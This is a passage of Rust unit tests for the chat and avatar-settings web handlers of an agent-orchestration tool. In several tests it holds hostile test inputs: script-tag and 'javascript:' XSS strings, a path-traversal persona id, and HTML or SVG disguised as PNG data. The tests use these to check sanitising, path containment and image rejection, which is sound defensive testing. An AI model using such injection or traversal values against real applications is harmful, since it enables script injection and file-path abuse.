15247    }
15248
15249    #[tokio::test]
15250    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
15251        let tmp = TempDir::new().expect("tempdir");
15252        let repo = tmp.path().join("repo");
15253        std::fs::create_dir_all(&repo).expect("repo dir");
15254        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
15255        std::fs::write(
15256            repo.join("magi.toml"),
15257            format!("{MOCK_AGENT_TOML}\n{second}"),
15258        )
15259        .expect("write magi.toml");
15260        let home = TempDir::new().expect("temp home");
15261        let talks = Talks::at(home.path().join("talks"));
15262        let ui = Arc::new(
15263            Ui::new(
15264                Queue::at(home.path().join("queue")),
15265                Questions::at(home.path().join("questions")),
15266                talks.clone(),
15267                home.path().join("runs"),
15268                home.path().to_path_buf(),
15269                repo.clone(),
15270            )
15271            .with_worktrees_root(home.path().join("wt")),
15272        );
15273        let cfg = config_for(&repo).await.expect("discover config");
15274        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15275        let id = talk.id.clone();
15276        let call = |agent: &str| {
15277            talk_agent(
15278                State(Arc::clone(&ui)),
15279                Path(id.clone()),
15280                Json(TalkAgent {
15281                    agent: agent.to_owned(),
15282                }),
15283            )
15284        };
15285
15286        let unknown = call("nobody").await.expect_err("unknown agent");
15287        assert_eq!(
15288            unknown.status,
15289            StatusCode::BAD_REQUEST,
15290            "{}",
15291            unknown.message
15292        );
15293
15294        {
15295            // Nothing refused so far took a claim, so the guard is free to take
15296            // and holding it is what makes the talk busy.
15297            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
15298            let busy = call("second").await.expect_err("busy talk");
15299            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
15300            assert!(
15301                busy.message.contains("a talk turn is running"),
15302                "{}",
15303                busy.message
15304            );
15305            drop(guard);
15306        }
15307        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
15308
15309        let Json(view) = call("second").await.expect("switch");
15310        assert_eq!(view.talk.agent, "second");
15311        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
15312        let saved = talks.get(&id).expect("reload");
15313        assert_eq!(saved.agent, "second");
15314        assert_eq!(saved.turns.len(), 1);
15315        assert!(!view.thinking);
15316        assert!(!ui.is_thinking(&id), "idle response must release the claim");
15317        for agent in ["mock", "second"] {
15318            let Json(view) = call(agent).await.expect("immediate consecutive change");
15319            assert_eq!(view.talk.agent, agent);
15320            assert!(!view.thinking);
15321            assert!(!ui.is_thinking(&id));
15322        }
15323
15324        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15325            .await
15326            .expect("detail");
15327        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
15328        assert_eq!(roster, ["mock", "second"]);
15329
15330        let mut closed = talks.get(&id).expect("reload");
15331        talk::close(&mut closed, &talks).expect("close");
15332        let refused = call("mock").await.expect_err("closed talk");
15333        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
15334        assert!(
15335            refused.message.contains("takes no more turns"),
15336            "{}",
15337            refused.message
15338        );
15339    }
15340
15341    #[tokio::test]
15342    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
15343        let tmp = TempDir::new().expect("tempdir");
15344        let repo = tmp.path().join("repo");
15345        std::fs::create_dir_all(&repo).expect("repo dir");
15346        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15347        let home = TempDir::new().expect("temp home");
15348        let talks = Talks::at(home.path().join("talks"));
15349        let ui = Arc::new(
15350            Ui::new(
15351                Queue::at(home.path().join("queue")),
15352                Questions::at(home.path().join("questions")),
15353                talks.clone(),
15354                home.path().join("runs"),
15355                home.path().to_path_buf(),
15356                repo.clone(),
15357            )
15358            .with_worktrees_root(home.path().join("wt")),
15359        );
15360        let cfg = config_for(&repo).await.expect("discover config");
15361        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15362        let id = talk.id.clone();
15363        let call = |n: u8| {
15364            talk_implementers(
15365                State(Arc::clone(&ui)),
15366                Path(id.clone()),
15367                Json(TalkImplementers { implementers: n }),
15368            )
15369        };
15370
15371        for bad in [0u8, 4] {
15372            let e = call(bad).await.expect_err("out of range");
15373            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
15374        }
15375        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
15376
15377        {
15378            // Nothing refused so far took a claim, so the guard is free to take
15379            // and holding it is what makes the talk busy.
15380            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
15381            let busy = call(2).await.expect_err("busy talk");
15382            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
15383            assert!(
15384                busy.message.contains("a talk turn is running"),
15385                "{}",
15386                busy.message
15387            );
15388            drop(guard);
15389        }
15390
15391        let Json(view) = call(3).await.expect("switch");
15392        assert_eq!(view.talk.implementers, 3);
15393        assert!(talks.get(&id).expect("reload").implementers_dirty);
15394        assert!(!view.thinking);
15395        assert!(!ui.is_thinking(&id), "idle response must release the claim");
15396        for n in [1, 2, 3] {
15397            let Json(view) = call(n).await.expect("immediate consecutive change");
15398            assert_eq!(view.talk.implementers, n);
15399            assert!(!view.thinking);
15400            assert!(!ui.is_thinking(&id));
15401        }
15402
15403        let mut closed = talks.get(&id).expect("reload");
15404        talk::close(&mut closed, &talks).expect("close");
15405        let e = call(2).await.expect_err("closed talk");
15406        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
15407        assert!(e.message.contains("takes no more turns"), "{}", e.message);
15408    }
15409
15410    /// A repo with `extra` appended to the mock agent's config, and a talk in it.
15411    async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
15412        let tmp = TempDir::new().expect("tempdir");
15413        let repo = tmp.path().join("repo");
15414        std::fs::create_dir_all(&repo).expect("repo dir");
15415        std::fs::write(
15416            repo.join("magi.toml"),
15417            format!("{MOCK_AGENT_TOML}\n{extra}"),
15418        )
15419        .expect("write magi.toml");
15420        let home = TempDir::new().expect("temp home");
15421        let talks = Talks::at(home.path().join("talks"));
15422        let ui = Arc::new(
15423            Ui::new(
15424                Queue::at(home.path().join("queue")),
15425                Questions::at(home.path().join("questions")),
15426                talks.clone(),
15427                home.path().join("runs"),
15428                home.path().to_path_buf(),
15429                repo.clone(),
15430            )
15431            .with_worktrees_root(home.path().join("wt")),
15432        );
15433        let cfg = config_for(&repo).await.expect("discover config");
15434        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15435        (tmp, home, ui, talk.id, repo)
15436    }
15437
15438    #[tokio::test]
15439    async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
15440        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15441        let mut conversation = ui.talks.get(&id).unwrap();
15442        talk::record(
15443            &mut conversation,
15444            &ui.talks,
15445            "# Update on a task you filed\noperator words",
15446            vec![],
15447        )
15448        .unwrap();
15449        // Simulate an old operator record; headings do not prove authorship.
15450        conversation.turns[0].sender = None;
15451        conversation.turns[0].messages.clear();
15452        ui.talks.put(&mut conversation).unwrap();
15453        talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
15454        talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
15455        talk::drain(&mut conversation, &ui.talks).unwrap();
15456        talk::record_reply(
15457            &mut conversation,
15458            &ui.talks,
15459            "about that report",
15460            vec![],
15461            Some(talk::ReplyTarget {
15462                turn: 1,
15463                message: 1,
15464            }),
15465        )
15466        .unwrap();
15467        conversation.turns[2].messages[0]
15468            .reply
15469            .as_mut()
15470            .unwrap()
15471            .sender = None;
15472        conversation.turns.push(talk::Turn {
15473            sender: Some(talk::Sender::Persona),
15474            who: talk::Who::Agent,
15475            body: "magi: actual persona words".into(),
15476            at: Timestamp::now(),
15477            attachments: vec![],
15478            usage: None,
15479            breaks: None,
15480            messages: vec![],
15481            posted_by: None,
15482        });
15483        ui.talks.put(&mut conversation).unwrap();
15484        let view = TalkView::with_config(
15485            ui.talks.get(&id).unwrap(),
15486            false,
15487            None,
15488            &ui.home,
15489            &ui.references,
15490        );
15491        assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
15492        assert_eq!(
15493            view.talk.turns[1].messages[0].sender,
15494            Some(talk::Sender::Operator)
15495        );
15496        assert_eq!(
15497            view.talk.turns[1].messages[1].sender,
15498            Some(talk::Sender::Magi)
15499        );
15500        assert_eq!(
15501            view.talk.turns[2].messages[0]
15502                .reply
15503                .as_ref()
15504                .unwrap()
15505                .sender,
15506            Some(talk::Sender::Magi)
15507        );
15508        assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
15509        assert_eq!(view.turn_messages_md[0].len(), 1);
15510        assert!(view.turn_messages_md[0][0].is_none());
15511        assert!(view.turn_messages_md[1][0].is_none());
15512        assert!(view.turn_messages_md[1][1].is_some());
15513    }
15514
15515    #[tokio::test]
15516    async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
15517        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15518        let mut conversation = ui.talks.get(&id).unwrap();
15519        let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
15520        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15521        let queue = |conversation: &mut talk::Talk| {
15522            talk::queue_semantic_notice(
15523                conversation,
15524                &ui.talks,
15525                &body,
15526                "watch:123",
15527                &|_| false,
15528                (
15529                    None,
15530                    None,
15531                    Some(crate::chat_control::standing::Event::Watch {
15532                        id: "watch-123".into(),
15533                    }),
15534                ),
15535                display.clone(),
15536            )
15537            .unwrap()
15538        };
15539        queue(&mut conversation);
15540        assert!(!queue(&mut conversation));
15541        let saved = ui.talks.get(&id).unwrap();
15542        assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
15543        let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
15544        assert!(
15545            view.talk.turns[0].messages[0].display.is_none(),
15546            "operator copy stays literal"
15547        );
15548        assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
15549        assert!(view.turn_messages_md[0][0].is_none());
15550        let queued_md = view.pending_messages_md[0].clone();
15551        assert_eq!(
15552            queued_md,
15553            Some(md::to_nodes(&display.facts, &md::ImageBase::None))
15554        );
15555        talk::drain(&mut conversation, &ui.talks).unwrap();
15556        talk::record_reply(
15557            &mut conversation,
15558            &ui.talks,
15559            "Explain",
15560            vec![],
15561            Some(talk::ReplyTarget {
15562                turn: 1,
15563                message: 0,
15564            }),
15565        )
15566        .unwrap();
15567        let mut saved = ui.talks.get(&id).unwrap();
15568        assert_eq!(saved.turns[1].messages[0].body, body);
15569        assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
15570        let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
15571        assert!(!reply.excerpt.contains("automatic report"));
15572        reply.excerpt = body.chars().take(240).collect(); // old saved quote
15573        saved.turns[1].messages[0].display = None; // old MAGI send
15574        ui.talks.put(&mut saved).unwrap();
15575        let view = TalkView::with_config(
15576            ui.talks.get(&id).unwrap(),
15577            false,
15578            None,
15579            &ui.home,
15580            &ui.references,
15581        );
15582        assert_eq!(view.turn_messages_md[1][0], queued_md);
15583        assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
15584        assert!(
15585            !view.talk.turns[2].messages[0]
15586                .reply
15587                .as_ref()
15588                .unwrap()
15589                .excerpt
15590                .contains("automatic report")
15591        );
15592        assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
15593    }
15594
15595    #[tokio::test]
15596    async fn consultation_display_hides_directives_in_queue_and_history() {
15597        for node in [
15598            "implement",
15599            crate::land::APPROVAL_NODE,
15600            crate::github_text::ASK_NODE,
15601        ] {
15602            let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15603            let mut question = Question::new(
15604                "run-123".into(),
15605                node.into(),
15606                "seat-1".into(),
15607                "Which backend?".into(),
15608                "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
15609                vec!["SQLite".into(), "Redis".into()],
15610            );
15611            ui.questions.put(&mut question).unwrap();
15612            let body = crate::prompt::chat_consult(&question);
15613            let mut conversation = ui.talks.get(&id).unwrap();
15614            talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15615            assert!(
15616                crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
15617            );
15618            conversation = ui.talks.get(&id).unwrap();
15619            assert_eq!(conversation.pending_messages[0].body, body);
15620            assert!(body.contains("magi answer"));
15621            let mut legacy_pending = conversation.clone();
15622            legacy_pending.pending_messages[0].display = None;
15623            let legacy_view =
15624                TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
15625            let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
15626            assert!(legacy_md.contains("Question consultation"));
15627            assert!(!legacy_md.contains("magi answer"));
15628            let view =
15629                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
15630            assert!(
15631                view.turn_messages_md[0][0].is_none(),
15632                "operator copy stays literal"
15633            );
15634            let queued_md = view.pending_messages_md[0].clone().unwrap();
15635            let rendered = serde_json::to_string(&queued_md).unwrap();
15636            for visible in [
15637                "Which backend?",
15638                "Context",
15639                "storage",
15640                "SQLite",
15641                "Redis",
15642                "<script>literal</script>",
15643            ] {
15644                assert!(rendered.contains(visible), "missing {visible}");
15645            }
15646            for directive in [
15647                "What to do",
15648                "magi answer",
15649                "Never answer it yourself",
15650                "Do not edit the repository",
15651            ] {
15652                assert!(!rendered.contains(directive), "exposed {directive}");
15653            }
15654            assert_eq!(
15655                view.talk.pending_messages[0].display,
15656                Some(crate::prompt::chat_consult_display(&question))
15657            );
15658            talk::drain(&mut conversation, &ui.talks).unwrap();
15659            let view =
15660                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
15661            assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
15662            assert_eq!(conversation.turns[1].messages[0].body, body);
15663
15664            // Historical consultations lack a snapshot: show a safe placeholder
15665            // rather than parsing instructions or reconstructing mutable facts.
15666            conversation.turns[1].messages[0].display = None;
15667            let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
15668            let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
15669            assert!(legacy.contains("Question consultation"));
15670            assert!(!legacy.contains("magi answer"));
15671            assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
15672        }
15673    }
15674
15675    #[test]
15676    fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
15677        let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
15678        let (body, mut display) =
15679            crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
15680        display.facts = facts.into();
15681        let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
15682        assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
15683        let json = serde_json::to_string(&nodes).unwrap();
15684        for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
15685            assert!(json.contains(&format!("\"type\":\"{kind}\"")));
15686        }
15687        assert!(json.contains("<script>alert(1)</script>"));
15688        assert!(!json.contains("javascript:"));
15689        assert!(!json.contains("Tell the operator"));
15690        assert!(!json.contains("untrusted"));
15691        assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
15692        assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
15693        assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
15694        assert_eq!(
15695            notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
15696            md::to_nodes("# Status", &md::ImageBase::None),
15697        );
15698    }
15699
15700    #[tokio::test]
15701    async fn notification_display_recovers_exact_legacy_completion_references() {
15702        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15703        let mut conversation = ui.talks.get(&id).unwrap();
15704        let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
15705            id: "task-123",
15706            title: "Change",
15707            status: "done",
15708            reason: None,
15709            run: Some("run-123"),
15710            pr: None,
15711            summary: Some("Merge state unknown"),
15712            verification: None,
15713            completion: None,
15714        });
15715        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15716        conversation.turns[0].sender = None;
15717        conversation.turns[0].messages.clear();
15718        conversation.turns[0].breaks = None;
15719        conversation.pending = body.clone();
15720        conversation
15721            .completion_notices
15722            .push(crate::chat_notify::CompletionReference {
15723                task: "task-123".into(),
15724                run: Some("run-123".into()),
15725                notice: body.clone(),
15726            });
15727        ui.talks.put(&mut conversation).unwrap();
15728        let view = TalkView::with_config(
15729            ui.talks.get(&id).unwrap(),
15730            false,
15731            None,
15732            &ui.home,
15733            &ui.references,
15734        );
15735        assert_eq!(
15736            view.talk.turns[0].messages[0].display,
15737            Some(display.clone())
15738        );
15739        assert_eq!(view.talk.pending_messages[0].display, Some(display));
15740        assert_eq!(
15741            view.talk.turns[0].messages[0].sender,
15742            Some(talk::Sender::Magi)
15743        );
15744        assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
15745        conversation.completion_notices[0]
15746            .notice
15747            .push_str("different");
15748        let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
15749        assert!(view.talk.turns[0].messages.is_empty());
15750        assert!(view.talk.pending_messages.is_empty());
15751    }
15752
15753    #[tokio::test]
15754    async fn avatar_settings_report_states_and_inherit_after_corruption() {
15755        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15756        let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
15757            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
15758        ))
15759        .await;
15760        let path = avatar_setting_path(home.path(), Some("rei"));
15761        let orphan = avatar_setting_path(home.path(), Some("removed"));
15762        save_icon_file(&orphan, icon).unwrap();
15763        for (saved, expected) in [
15764            (icon, "custom"),
15765            ("builtin", "builtin"),
15766            ("data:image/png;base64,!!!!", "inherit"),
15767            ("data:image/png;base64,PGh0bWw+", "inherit"),
15768            ("/tmp/avatar.png", "inherit"),
15769        ] {
15770            atomic_icon_write(&path, saved).unwrap();
15771            let catalog =
15772                avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
15773                    .await
15774                    .unwrap()
15775                    .0;
15776            let personas = catalog["personas"].as_array().unwrap();
15777            let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
15778            assert_eq!(rei["override_state"], expected);
15779            assert_eq!(rei["has_config_icon"], true);
15780            assert_eq!(rei["is_orphan"], false);
15781            let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
15782            assert_eq!(removed["override_state"], "custom");
15783            assert_eq!(removed["is_orphan"], true);
15784            let default = personas.iter().find(|p| p["id"] == "default").unwrap();
15785            assert_eq!(default["override_state"], "inherit");
15786            assert_eq!(default["has_config_icon"], false);
15787            let effective = effective_persona_icon(home.path(), "rei", Some(icon));
15788            assert_eq!(
15789                effective.as_deref(),
15790                Some(if expected == "builtin" { "" } else { icon })
15791            );
15792        }
15793    }
15794
15795    #[tokio::test]
15796    async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
15797        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15798        let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
15799            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
15800        ))
15801        .await;
15802        let target = |id: Option<&str>| AvatarSettingsQuery {
15803            persona: id.map(str::to_owned),
15804            ..Default::default()
15805        };
15806        let original_config = config_for(&repo).await.unwrap();
15807        let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
15808        let original_prompt = persona::section_for(&original_persona, None);
15809        let before = talk_detail(State(ui.clone()), Path(id.clone()))
15810            .await
15811            .unwrap()
15812            .0;
15813        for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
15814            let _ = avatar_settings_put(
15815                State(ui.clone()),
15816                Query(target(persona)),
15817                Json(MagiIconUpload { icon: icon.into() }),
15818            )
15819            .await
15820            .unwrap();
15821            let path = avatar_setting_path(home.path(), persona);
15822            assert!(path.starts_with(home.path().join("avatars")));
15823            assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15824            for bad in [
15825                "/tmp/image.png".to_owned(),
15826                "data:image/png;base64,!!!!".to_owned(),
15827                "data:image/png;base64,PGh0bWw+".to_owned(),
15828                "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15829                format!(
15830                    "data:image/png;base64,{}",
15831                    "A".repeat(persona_icon::ICON_MAX_BYTES)
15832                ),
15833            ] {
15834                assert!(
15835                    avatar_settings_put(
15836                        State(ui.clone()),
15837                        Query(target(persona)),
15838                        Json(MagiIconUpload { icon: bad })
15839                    )
15840                    .await
15841                    .is_err()
15842                );
15843                assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15844            }
15845        }
15846        assert!(read_magi_icon(home.path()).is_none());
15847        assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
15848        let after = talk_detail(State(ui.clone()), Path(id.clone()))
15849            .await
15850            .unwrap()
15851            .0;
15852        assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
15853        assert_ne!(
15854            before
15855                .personas
15856                .iter()
15857                .find(|p| p.id == "magi")
15858                .unwrap()
15859                .avatar,
15860            after
15861                .personas
15862                .iter()
15863                .find(|p| p.id == "magi")
15864                .unwrap()
15865                .avatar
15866        );
15867        let restarted = Arc::new(Ui::new(
15868            Queue::at(home.path().join("queue")),
15869            Questions::at(home.path().join("questions")),
15870            Talks::at(home.path().join("talks")),
15871            home.path().join("runs"),
15872            home.path().to_owned(),
15873            repo,
15874        ));
15875        let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
15876            .await
15877            .unwrap()
15878            .0;
15879        assert!(
15880            catalog["personas"]
15881                .as_array()
15882                .unwrap()
15883                .iter()
15884                .any(|p| p["id"] == "../custom/日本語")
15885        );
15886        for expected in ["custom", "default", "rei"] {
15887            assert!(
15888                catalog["personas"]
15889                    .as_array()
15890                    .unwrap()
15891                    .iter()
15892                    .any(|p| p["id"] == expected)
15893            );
15894        }
15895        let response =
15896            operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
15897        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15898        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
15899            .await
15900            .unwrap();
15901        assert_eq!(
15902            effective_persona_icon(home.path(), "rei", Some(icon)),
15903            Some(String::new())
15904        );
15905        let response = talk_avatar(
15906            State(restarted.clone()),
15907            Path(id.clone()),
15908            Query(AvatarQuery {
15909                persona: Some("rei".into()),
15910                ..Default::default()
15911            }),
15912        )
15913        .await
15914        .unwrap();
15915        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
15916        let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
15917            .await
15918            .unwrap()
15919            .0;
15920        assert_ne!(
15921            after
15922                .personas
15923                .iter()
15924                .find(|p| p.id == "rei")
15925                .unwrap()
15926                .avatar,
15927            reset
15928                .personas
15929                .iter()
15930                .find(|p| p.id == "rei")
15931                .unwrap()
15932                .avatar
15933        );
15934        let mut inherit = target(Some("rei"));
15935        inherit.inherit = Some("1".into());
15936        let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
15937            .await
15938            .unwrap();
15939        assert_eq!(
15940            effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
15941            Some(icon)
15942        );
15943        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
15944            .await
15945            .unwrap();
15946        assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
15947        assert_eq!(
15948            read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
15949            Some(icon)
15950        );
15951        // Display changes never rewrite the conversation or its prompt-bearing config.
15952        let cfg = config_for(&ui.repo).await.unwrap();
15953        let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
15954        assert_eq!(persona::section_for(&resolved, None), original_prompt);
15955        assert!(!original_prompt.contains("data:image"));
15956        assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
15957        let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
15958        assert!(!stored.contains("data:image"));
15959        let mut orphan = ui.talks.get(&id).unwrap();
15960        orphan.persona = "../custom/日本語".into();
15961        let view = TalkView::with_config(
15962            orphan,
15963            false,
15964            Some(&cfg),
15965            home.path(),
15966            &id_links::IndexCache::default(),
15967        );
15968        assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
15969    }
15970
15971    #[tokio::test]
15972    async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
15973        let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
15974        let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15975        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15976        let _ = magi_icon_put(
15977            State(ui.clone()),
15978            Json(MagiIconUpload { icon: icon.into() }),
15979        )
15980        .await
15981        .unwrap();
15982        let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15983        assert_ne!(original, changed);
15984        assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15985        let response = magi_avatar(
15986            State(ui.clone()),
15987            Query(AvatarQuery {
15988                persona: None,
15989                builtin: None,
15990            }),
15991        )
15992        .await;
15993        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15994        assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
15995        assert_eq!(
15996            response.headers()[header::X_CONTENT_TYPE_OPTIONS],
15997            "nosniff"
15998        );
15999        for bad in [
16000            "data:image/png;base64,PGh0bWw+".to_owned(),
16001            "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
16002            "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
16003        ] {
16004            assert!(save_magi_icon(home.path(), &bad).is_err());
16005            assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
16006        }
16007        // Re-opened server state reads the same independent home file.
16008        let restarted = Arc::new(Ui::new(
16009            Queue::at(home.path().join("queue")),
16010            Questions::at(home.path().join("questions")),
16011            Talks::at(home.path().join("talks")),
16012            home.path().join("runs"),
16013            home.path().to_path_buf(),
16014            repo,
16015        ));
16016        assert_eq!(
16017            magi_icon_get(State(restarted.clone())).await.0["avatar"],
16018            changed
16019        );
16020        let view = TalkView::with_config(
16021            restarted.talks.get(&id).unwrap(),
16022            false,
16023            None,
16024            &restarted.home,
16025            &restarted.references,
16026        );
16027        assert_eq!(view.magi_avatar, changed.as_str().unwrap());
16028        std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
16029        let response = magi_avatar(
16030            State(ui.clone()),
16031            Query(AvatarQuery {
16032                persona: None,
16033                builtin: None,
16034            }),
16035        )
16036        .await;
16037        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
16038            .await
16039            .unwrap();
16040        assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
16041        let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
16042        assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
16043        let _ = magi_icon_delete(State(ui)).await.unwrap();
16044    }
16045
16046    /// `(status, content-type, nosniff, csp, body)` of one avatar request.
16047    async fn avatar(
16048        ui: &Arc<Ui>,
16049        id: &str,
16050        persona: Option<&str>,
16051        builtin: bool,
16052    ) -> (StatusCode, String, bool, bool, Vec<u8>) {
16053        let res = talk_avatar(
16054            State(Arc::clone(ui)),
16055            Path(id.to_owned()),
16056            Query(AvatarQuery {
16057                persona: persona.map(str::to_owned),
16058                builtin: builtin.then(|| "1".to_owned()),
16059            }),
16060        )
16061        .await
16062        .expect("an avatar is never an error response");
16063        let h = res.headers();
16064        let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
16065        let nosniff = h
16066            .get(header::X_CONTENT_TYPE_OPTIONS)
16067            .is_some_and(|v| v == "nosniff");
16068        let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
16069        let status = res.status();
16070        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
16071            .await
16072            .expect("body")
16073            .to_vec();
16074        (status, ct, nosniff, csp, body)
16075    }
16076
16077    fn tiny_png() -> Vec<u8> {
16078        let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
16079        b.extend_from_slice(&[0u8; 32]);
16080        b
16081    }
16082
16083    #[tokio::test]
16084    async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
16085        let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
16086        let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
16087        assert_eq!(res.status(), StatusCode::OK);
16088        assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
16089        assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
16090        assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
16091        assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
16092        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
16093            .await
16094            .unwrap();
16095        assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
16096        assert_ne!(
16097            persona_icon::operator_svg(),
16098            persona_icon::builtin_svg("default")
16099        );
16100    }
16101
